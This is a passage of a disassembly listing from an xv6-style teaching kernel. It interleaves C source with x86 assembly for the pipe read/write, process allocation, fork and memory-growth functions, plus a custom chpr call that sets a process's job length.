wakeup(&p->nread); //DOC: pipewrite-wakeup1
80103531: 8d 97 34 02 00 00 lea 0x234(%edi),%edx
80103537: 89 14 24 mov %edx,(%esp)
8010353a: e8 11 0b 00 00 call 80104050 <wakeup>
release(&p->lock);
8010353f: 89 3c 24 mov %edi,(%esp)
80103542: e8 89 0f 00 00 call 801044d0 <release>
return n;
80103547: 8b 45 10 mov 0x10(%ebp),%eax
8010354a: eb 11 jmp 8010355d <pipewrite+0x10d>
8010354c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || proc->killed){
release(&p->lock);
80103550: 89 3c 24 mov %edi,(%esp)
80103553: e8 78 0f 00 00 call 801044d0 <release>
return -1;
80103558: b8 ff ff ff ff mov $0xffffffff,%eax
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
release(&p->lock);
return n;
}
8010355d: 83 c4 1c add $0x1c,%esp
80103560: 5b pop %ebx
80103561: 5e pop %esi
80103562: 5f pop %edi
80103563: 5d pop %ebp
80103564: c3 ret
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103565: 89 ca mov %ecx,%edx
80103567: eb 9f jmp 80103508 <pipewrite+0xb8>
80103569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103570 <piperead>:
return n;
}
int
piperead(struct pipe *p, char *addr, int n)
{
80103570: 55 push %ebp
80103571: 89 e5 mov %esp,%ebp
80103573: 57 push %edi
80103574: 56 push %esi
80103575: 53 push %ebx
80103576: 83 ec 1c sub $0x1c,%esp
80103579: 8b 75 08 mov 0x8(%ebp),%esi
8010357c: 8b 7d 0c mov 0xc(%ebp),%edi
int i;
acquire(&p->lock);
8010357f: 89 34 24 mov %esi,(%esp)
80103582: e8 19 0e 00 00 call 801043a0 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80103587: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
8010358d: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
80103593: 75 5b jne 801035f0 <piperead+0x80>
80103595: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx
8010359b: 85 db test %ebx,%ebx
8010359d: 74 51 je 801035f0 <piperead+0x80>
8010359f: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx
801035a5: eb 25 jmp 801035cc <piperead+0x5c>
801035a7: 90 nop
if(proc->killed){
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
801035a8: 89 74 24 04 mov %esi,0x4(%esp)
801035ac: 89 1c 24 mov %ebx,(%esp)
801035af: e8 ec 08 00 00 call 80103ea0 <sleep>
piperead(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
801035b4: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
801035ba: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
801035c0: 75 2e jne 801035f0 <piperead+0x80>
801035c2: 8b 96 40 02 00 00 mov 0x240(%esi),%edx
801035c8: 85 d2 test %edx,%edx
801035ca: 74 24 je 801035f0 <piperead+0x80>
if(proc->killed){
801035cc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801035d2: 8b 48 24 mov 0x24(%eax),%ecx
801035d5: 85 c9 test %ecx,%ecx
801035d7: 74 cf je 801035a8 <piperead+0x38>
release(&p->lock);
801035d9: 89 34 24 mov %esi,(%esp)
801035dc: e8 ef 0e 00 00 call 801044d0 <release>
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
801035e1: 83 c4 1c add $0x1c,%esp
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
if(proc->killed){
release(&p->lock);
return -1;
801035e4: b8 ff ff ff ff mov $0xffffffff,%eax
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
801035e9: 5b pop %ebx
801035ea: 5e pop %esi
801035eb: 5f pop %edi
801035ec: 5d pop %ebp
801035ed: c3 ret
801035ee: 66 90 xchg %ax,%ax
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801035f0: 8b 55 10 mov 0x10(%ebp),%edx
if(p->nread == p->nwrite)
801035f3: 31 db xor %ebx,%ebx
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801035f5: 85 d2 test %edx,%edx
801035f7: 7f 2b jg 80103624 <piperead+0xb4>
801035f9: eb 31 jmp 8010362c <piperead+0xbc>
801035fb: 90 nop
801035fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->nread == p->nwrite)
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
80103600: 8d 48 01 lea 0x1(%eax),%ecx
80103603: 25 ff 01 00 00 and $0x1ff,%eax
80103608: 89 8e 34 02 00 00 mov %ecx,0x234(%esi)
8010360e: 0f b6 44 06 34 movzbl 0x34(%esi,%eax,1),%eax
80103613: 88 04 1f mov %al,(%edi,%ebx,1)
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103616: 83 c3 01 add $0x1,%ebx
80103619: 3b 5d 10 cmp 0x10(%ebp),%ebx
8010361c: 74 0e je 8010362c <piperead+0xbc>
if(p->nread == p->nwrite)
8010361e: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
80103624: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
8010362a: 75 d4 jne 80103600 <piperead+0x90>
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
8010362c: 8d 86 38 02 00 00 lea 0x238(%esi),%eax
80103632: 89 04 24 mov %eax,(%esp)
80103635: e8 16 0a 00 00 call 80104050 <wakeup>
release(&p->lock);
8010363a: 89 34 24 mov %esi,(%esp)
8010363d: e8 8e 0e 00 00 call 801044d0 <release>
return i;
}
80103642: 83 c4 1c add $0x1c,%esp
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
80103645: 89 d8 mov %ebx,%eax
}
80103647: 5b pop %ebx
80103648: 5e pop %esi
80103649: 5f pop %edi
8010364a: 5d pop %ebp
8010364b: c3 ret
8010364c: 66 90 xchg %ax,%ax
8010364e: 66 90 xchg %ax,%ax
80103650 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
80103650: 55 push %ebp
80103651: 89 e5 mov %esp,%ebp
80103653: 53 push %ebx
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103654: bb d4 2d 11 80 mov $0x80112dd4,%ebx
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
80103659: 83 ec 14 sub $0x14,%esp
struct proc *p;
char *sp;
acquire(&ptable.lock);
8010365c: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103663: e8 38 0d 00 00 call 801043a0 <acquire>
80103668: eb 18 jmp 80103682 <allocproc+0x32>
8010366a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103670: 81 c3 9c 00 00 00 add $0x9c,%ebx
80103676: 81 fb d4 54 11 80 cmp $0x801154d4,%ebx
8010367c: 0f 84 a6 00 00 00 je 80103728 <allocproc+0xd8>
if(p->state == UNUSED)
80103682: 8b 43 0c mov 0xc(%ebx),%eax
80103685: 85 c0 test %eax,%eax
80103687: 75 e7 jne 80103670 <allocproc+0x20>
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
80103689: a1 08 a0 10 80 mov 0x8010a008,%eax
p->createTime = ticks;
p->length_of_job =10 ;
p->runTime = 0;
p->sleepTime =0;
release(&ptable.lock);
8010368e: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
80103695: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx)
p->pid = nextpid++;
p->createTime = ticks;
p->length_of_job =10 ;
8010369c: c7 83 8c 00 00 00 0a movl $0xa,0x8c(%ebx)
801036a3: 00 00 00
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
801036a6: 8d 50 01 lea 0x1(%eax),%edx
801036a9: 89 43 10 mov %eax,0x10(%ebx)
p->createTime = ticks;
801036ac: a1 20 5d 11 80 mov 0x80115d20,%eax
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
801036b1: 89 15 08 a0 10 80 mov %edx,0x8010a008
p->createTime = ticks;
p->length_of_job =10 ;
p->runTime = 0;
801036b7: c7 83 88 00 00 00 00 movl $0x0,0x88(%ebx)
801036be: 00 00 00
p->sleepTime =0;
801036c1: c7 83 80 00 00 00 00 movl $0x0,0x80(%ebx)
801036c8: 00 00 00
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
p->createTime = ticks;
801036cb: 89 43 7c mov %eax,0x7c(%ebx)
p->length_of_job =10 ;
p->runTime = 0;
p->sleepTime =0;
release(&ptable.lock);
801036ce: e8 fd 0d 00 00 call 801044d0 <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
801036d3: e8 c8 ed ff ff call 801024a0 <kalloc>
801036d8: 85 c0 test %eax,%eax
801036da: 89 43 08 mov %eax,0x8(%ebx)
801036dd: 74 5d je 8010373c <allocproc+0xec>
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
801036df: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
801036e5: 05 9c 0f 00 00 add $0xf9c,%eax
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
801036ea: 89 53 18 mov %edx,0x18(%ebx)
p->tf = (struct trapframe*)sp;
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
801036ed: c7 40 14 4d 57 10 80 movl $0x8010574d,0x14(%eax)
sp -= sizeof *p->context;
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
801036f4: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
801036fb: 00
801036fc: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80103703: 00
80103704: 89 04 24 mov %eax,(%esp)
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
p->context = (struct context*)sp;
80103707: 89 43 1c mov %eax,0x1c(%ebx)
memset(p->context, 0, sizeof *p->context);
8010370a: e8 11 0e 00 00 call 80104520 <memset>
p->context->eip = (uint)forkret;
8010370f: 8b 43 1c mov 0x1c(%ebx),%eax
80103712: c7 40 10 50 37 10 80 movl $0x80103750,0x10(%eax)
return p;
80103719: 89 d8 mov %ebx,%eax
}
8010371b: 83 c4 14 add $0x14,%esp
8010371e: 5b pop %ebx
8010371f: 5d pop %ebp
80103720: c3 ret
80103721: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
80103728: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
8010372f: e8 9c 0d 00 00 call 801044d0 <release>
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
p->context->eip = (uint)forkret;
return p;
}
80103734: 83 c4 14 add $0x14,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
return 0;
80103737: 31 c0 xor %eax,%eax
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
p->context->eip = (uint)forkret;
return p;
}
80103739: 5b pop %ebx
8010373a: 5d pop %ebp
8010373b: c3 ret
p->sleepTime =0;
release(&ptable.lock);
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
p->state = UNUSED;
8010373c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return 0;
80103743: eb d6 jmp 8010371b <allocproc+0xcb>
80103745: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103750 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
80103750: 55 push %ebp
80103751: 89 e5 mov %esp,%ebp
80103753: 83 ec 18 sub $0x18,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
80103756: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
8010375d: e8 6e 0d 00 00 call 801044d0 <release>
if (first) {
80103762: a1 04 a0 10 80 mov 0x8010a004,%eax
80103767: 85 c0 test %eax,%eax
80103769: 75 05 jne 80103770 <forkret+0x20>
iinit(ROOTDEV);
initlog(ROOTDEV);
}
// Return to "caller", actually trapret (see allocproc).
}
8010376b: c9 leave
8010376c: c3 ret
8010376d: 8d 76 00 lea 0x0(%esi),%esi
if (first) {
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
iinit(ROOTDEV);
80103770: c7 04 24 01 00 00 00 movl $0x1,(%esp)
if (first) {
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
80103777: c7 05 04 a0 10 80 00 movl $0x0,0x8010a004
8010377e: 00 00 00
iinit(ROOTDEV);
80103781: e8 fa dc ff ff call 80101480 <iinit>
initlog(ROOTDEV);
80103786: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010378d: e8 5e f3 ff ff call 80102af0 <initlog>
}
// Return to "caller", actually trapret (see allocproc).
}
80103792: c9 leave
80103793: c3 ret
80103794: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010379a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801037a0 <pinit>:
static void wakeup1(void *chan);
void
pinit(void)
{
801037a0: 55 push %ebp
801037a1: 89 e5 mov %esp,%ebp
801037a3: 83 ec 18 sub $0x18,%esp
initlock(&ptable.lock, "ptable");
801037a6: c7 44 24 04 ed 74 10 movl $0x801074ed,0x4(%esp)
801037ad: 80
801037ae: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
801037b5: e8 66 0b 00 00 call 80104320 <initlock>
}
801037ba: c9 leave
801037bb: c3 ret
801037bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801037c0 <userinit>:
//PAGEBREAK: 32
// Set up first user process.
void
userinit(void)
{
801037c0: 55 push %ebp
801037c1: 89 e5 mov %esp,%ebp
801037c3: 53 push %ebx
801037c4: 83 ec 14 sub $0x14,%esp
struct proc *p;
extern char _binary_initcode_start[], _binary_initcode_size[];
p = allocproc();
801037c7: e8 84 fe ff ff call 80103650 <allocproc>
801037cc: 89 c3 mov %eax,%ebx
initproc = p;
801037ce: a3 bc a5 10 80 mov %eax,0x8010a5bc
if((p->pgdir = setupkvm()) == 0)
801037d3: e8 78 31 00 00 call 80106950 <setupkvm>
801037d8: 85 c0 test %eax,%eax
801037da: 89 43 04 mov %eax,0x4(%ebx)
801037dd: 0f 84 d4 00 00 00 je 801038b7 <userinit+0xf7>
panic("userinit: out of memory?");
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
801037e3: 89 04 24 mov %eax,(%esp)
801037e6: c7 44 24 08 2c 00 00 movl $0x2c,0x8(%esp)
801037ed: 00
801037ee: c7 44 24 04 60 a4 10 movl $0x8010a460,0x4(%esp)
801037f5: 80
801037f6: e8 e5 32 00 00 call 80106ae0 <inituvm>
p->sz = PGSIZE;
801037fb: c7 03 00 10 00 00 movl $0x1000,(%ebx)
memset(p->tf, 0, sizeof(*p->tf));
80103801: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp)
80103808: 00
80103809: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80103810: 00
80103811: 8b 43 18 mov 0x18(%ebx),%eax
80103814: 89 04 24 mov %eax,(%esp)
80103817: e8 04 0d 00 00 call 80104520 <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
8010381c: 8b 43 18 mov 0x18(%ebx),%eax
8010381f: ba 23 00 00 00 mov $0x23,%edx
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
80103824: b9 2b 00 00 00 mov $0x2b,%ecx
if((p->pgdir = setupkvm()) == 0)
panic("userinit: out of memory?");
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
p->sz = PGSIZE;
memset(p->tf, 0, sizeof(*p->tf));
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
80103829: 66 89 50 3c mov %dx,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
8010382d: 8b 43 18 mov 0x18(%ebx),%eax
80103830: 66 89 48 2c mov %cx,0x2c(%eax)
p->tf->es = p->tf->ds;
80103834: 8b 43 18 mov 0x18(%ebx),%eax
80103837: 0f b7 50 2c movzwl 0x2c(%eax),%edx
8010383b: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
8010383f: 8b 43 18 mov 0x18(%ebx),%eax
80103842: 0f b7 50 2c movzwl 0x2c(%eax),%edx
80103846: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
8010384a: 8b 43 18 mov 0x18(%ebx),%eax
8010384d: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
80103854: 8b 43 18 mov 0x18(%ebx),%eax
80103857: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
8010385e: 8b 43 18 mov 0x18(%ebx),%eax
80103861: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
80103868: 8d 43 6c lea 0x6c(%ebx),%eax
8010386b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80103872: 00
80103873: c7 44 24 04 0d 75 10 movl $0x8010750d,0x4(%esp)
8010387a: 80
8010387b: 89 04 24 mov %eax,(%esp)
8010387e: e8 9d 0e 00 00 call 80104720 <safestrcpy>
p->cwd = namei("/");
80103883: c7 04 24 16 75 10 80 movl $0x80107516,(%esp)
8010388a: e8 61 e6 ff ff call 80101ef0 <namei>
8010388f: 89 43 68 mov %eax,0x68(%ebx)
// this assignment to p->state lets other cores
// run this process. the acquire forces the above
// writes to be visible, and the lock is also needed
// because the assignment might not be atomic.
acquire(&ptable.lock);
80103892: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103899: e8 02 0b 00 00 call 801043a0 <acquire>
p->state = RUNNABLE;
8010389e: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
801038a5: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
801038ac: e8 1f 0c 00 00 call 801044d0 <release>
}
801038b1: 83 c4 14 add $0x14,%esp
801038b4: 5b pop %ebx
801038b5: 5d pop %ebp
801038b6: c3 ret
p = allocproc();
initproc = p;
if((p->pgdir = setupkvm()) == 0)
panic("userinit: out of memory?");
801038b7: c7 04 24 f4 74 10 80 movl $0x801074f4,(%esp)
801038be: e8 9d ca ff ff call 80100360 <panic>
801038c3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801038c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801038d0 <growproc>:
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
801038d0: 55 push %ebp
801038d1: 89 e5 mov %esp,%ebp
801038d3: 83 ec 18 sub $0x18,%esp
uint sz;
sz = proc->sz;
801038d6: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
801038dd: 8b 4d 08 mov 0x8(%ebp),%ecx
uint sz;
sz = proc->sz;
801038e0: 8b 02 mov (%edx),%eax
if(n > 0){
801038e2: 83 f9 00 cmp $0x0,%ecx
801038e5: 7e 39 jle 80103920 <growproc+0x50>
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
801038e7: 01 c1 add %eax,%ecx
801038e9: 89 4c 24 08 mov %ecx,0x8(%esp)
801038ed: 89 44 24 04 mov %eax,0x4(%esp)
801038f1: 8b 42 04 mov 0x4(%edx),%eax
801038f4: 89 04 24 mov %eax,(%esp)
801038f7: e8 24 33 00 00 call 80106c20 <allocuvm>
801038fc: 85 c0 test %eax,%eax
801038fe: 74 40 je 80103940 <growproc+0x70>
80103900: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
return -1;
} else if(n < 0){
if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0)
return -1;
}
proc->sz = sz;
80103907: 89 02 mov %eax,(%edx)
switchuvm(proc);
80103909: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010390f: 89 04 24 mov %eax,(%esp)
80103912: e8 f9 30 00 00 call 80106a10 <switchuvm>
return 0;
80103917: 31 c0 xor %eax,%eax
}
80103919: c9 leave
8010391a: c3 ret
8010391b: 90 nop
8010391c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sz = proc->sz;
if(n > 0){
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
return -1;
} else if(n < 0){
80103920: 74 e5 je 80103907 <growproc+0x37>
if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0)
80103922: 01 c1 add %eax,%ecx
80103924: 89 4c 24 08 mov %ecx,0x8(%esp)
80103928: 89 44 24 04 mov %eax,0x4(%esp)
8010392c: 8b 42 04 mov 0x4(%edx),%eax
8010392f: 89 04 24 mov %eax,(%esp)
80103932: e8 d9 33 00 00 call 80106d10 <deallocuvm>
80103937: 85 c0 test %eax,%eax
80103939: 75 c5 jne 80103900 <growproc+0x30>
8010393b: 90 nop
8010393c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
uint sz;
sz = proc->sz;
if(n > 0){
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
return -1;
80103940: b8 ff ff ff ff mov $0xffffffff,%eax
return -1;
}
proc->sz = sz;
switchuvm(proc);
return 0;
}
80103945: c9 leave
80103946: c3 ret
80103947: 89 f6 mov %esi,%esi
80103949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103950 <chpr>:
//change length_of_job
int
chpr( int pid, int length_of_job )
{
80103950: 55 push %ebp
80103951: 89 e5 mov %esp,%ebp
80103953: 53 push %ebx
80103954: 83 ec 14 sub $0x14,%esp
80103957: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
8010395a: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103961: e8 3a 0a 00 00 call 801043a0 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103966: ba d4 2d 11 80 mov $0x80112dd4,%edx
8010396b: eb 11 jmp 8010397e <chpr+0x2e>
8010396d: 8d 76 00 lea 0x0(%esi),%esi
80103970: 81 c2 9c 00 00 00 add $0x9c,%edx
80103976: 81 fa d4 54 11 80 cmp $0x801154d4,%edx
8010397c: 74 0e je 8010398c <chpr+0x3c>
if(p->pid == pid ) {
8010397e: 39 5a 10 cmp %ebx,0x10(%edx)
80103981: 75 ed jne 80103970 <chpr+0x20>
p->length_of_job = length_of_job;
80103983: 8b 45 0c mov 0xc(%ebp),%eax
80103986: 89 82 8c 00 00 00 mov %eax,0x8c(%edx)
break;
}
}
release(&ptable.lock);
8010398c: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103993: e8 38 0b 00 00 call 801044d0 <release>
return pid;
}
80103998: 83 c4 14 add $0x14,%esp
8010399b: 89 d8 mov %ebx,%eax
8010399d: 5b pop %ebx
8010399e: 5d pop %ebp
8010399f: c3 ret
801039a0 <fork>:
// Create a new process copying p as the parent.
// Sets up stack to return as if from system call.
// Caller must set state of returned proc to RUNNABLE.
int
fork(void)
{
801039a0: 55 push %ebp
801039a1: 89 e5 mov %esp,%ebp
801039a3: 57 push %edi
801039a4: 56 push %esi
801039a5: 53 push %ebx
801039a6: 83 ec 1c sub $0x1c,%esp
int i, pid;
struct proc *np;
// Allocate process.
if((np = allocproc()) == 0){
801039a9: e8 a2 fc ff ff call 80103650 <allocproc>
801039ae: 85 c0 test %eax,%eax
801039b0: 89 c3 mov %eax,%ebx
801039b2: 0f 84 d5 00 00 00 je 80103a8d <fork+0xed>
return -1;
}
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
801039b8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801039be: 8b 10 mov (%eax),%edx
801039c0: 89 54 24 04 mov %edx,0x4(%esp)
801039c4: 8b 40 04 mov 0x4(%eax),%eax
801039c7: 89 04 24 mov %eax,(%esp)
801039ca: e8 11 34 00 00 call 80106de0 <copyuvm>
801039cf: 85 c0 test %eax,%eax
801039d1: 89 43 04 mov %eax,0x4(%ebx)
801039d4: 0f 84 ba 00 00 00 je 80103a94 <fork+0xf4>
kfree(np->kstack);
np->kstack = 0;
np->state = UNUSED;
return -1;
}
np->sz = proc->sz;
801039da: 65 a1 04 00 00 00 mov %gs:0x4,%eax
np->parent = proc;
*np->tf = *proc->tf;
801039e0: b9 13 00 00 00 mov $0x13,%ecx
801039e5: 8b 7b 18 mov 0x18(%ebx),%edi
kfree(np->kstack);
np->kstack = 0;
np->state = UNUSED;
return -1;
}
np->sz = proc->sz;
801039e8: 8b 00 mov (%eax),%eax
801039ea: 89 03 mov %eax,(%ebx)
np->parent = proc;
801039ec: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801039f2: 89 43 14 mov %eax,0x14(%ebx)
*np->tf = *proc->tf;
801039f5: 8b 70 18 mov 0x18(%eax),%esi
801039f8: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
801039fa: 31 f6 xor %esi,%esi
np->sz = proc->sz;
np->parent = proc;
*np->tf = *proc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
801039fc: 8b 43 18 mov 0x18(%ebx),%eax
801039ff: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103a06: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
80103a0d: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < NOFILE; i++)
if(proc->ofile[i])
80103a10: 8b 44 b2 28 mov 0x28(%edx,%esi,4),%eax
80103a14: 85 c0 test %eax,%eax
80103a16: 74 13 je 80103a2b <fork+0x8b>
np->ofile[i] = filedup(proc->ofile[i]);
80103a18: 89 04 24 mov %eax,(%esp)
80103a1b: e8 c0 d3 ff ff call 80100de0 <filedup>
80103a20: 89 44 b3 28 mov %eax,0x28(%ebx,%esi,4)
80103a24: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
*np->tf = *proc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
80103a2b: 83 c6 01 add $0x1,%esi
80103a2e: 83 fe 10 cmp $0x10,%esi
80103a31: 75 dd jne 80103a10 <fork+0x70>
if(proc->ofile[i])
np->ofile[i] = filedup(proc->ofile[i]);
np->cwd = idup(proc->cwd);
80103a33: 8b 42 68 mov 0x68(%edx),%eax
80103a36: 89 04 24 mov %eax,(%esp)
80103a39: e8 52 dc ff ff call 80101690 <idup>
80103a3e: 89 43 68 mov %eax,0x68(%ebx)
safestrcpy(np->name, proc->name, sizeof(proc->name));
80103a41: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103a47: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80103a4e: 00
80103a4f: 83 c0 6c add $0x6c,%eax
80103a52: 89 44 24 04 mov %eax,0x4(%esp)
80103a56: 8d 43 6c lea 0x6c(%ebx),%eax
80103a59: 89 04 24 mov %eax,(%esp)
80103a5c: e8 bf 0c 00 00 call 80104720 <safestrcpy>
pid = np->pid;
80103a61: 8b 73 10 mov 0x10(%ebx),%esi
acquire(&ptable.lock);
80103a64: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103a6b: e8 30 09 00 00 call 801043a0 <acquire>
np->state = RUNNABLE;
80103a70: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
80103a77: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103a7e: e8 4d 0a 00 00 call 801044d0 <release>
return pid;
80103a83: 89 f0 mov %esi,%eax
}
80103a85: 83 c4 1c add $0x1c,%esp
80103a88: 5b pop %ebx
80103a89: 5e pop %esi
80103a8a: 5f pop %edi
80103a8b: 5d pop %ebp
80103a8c: c3 ret
int i, pid;
struct proc *np;
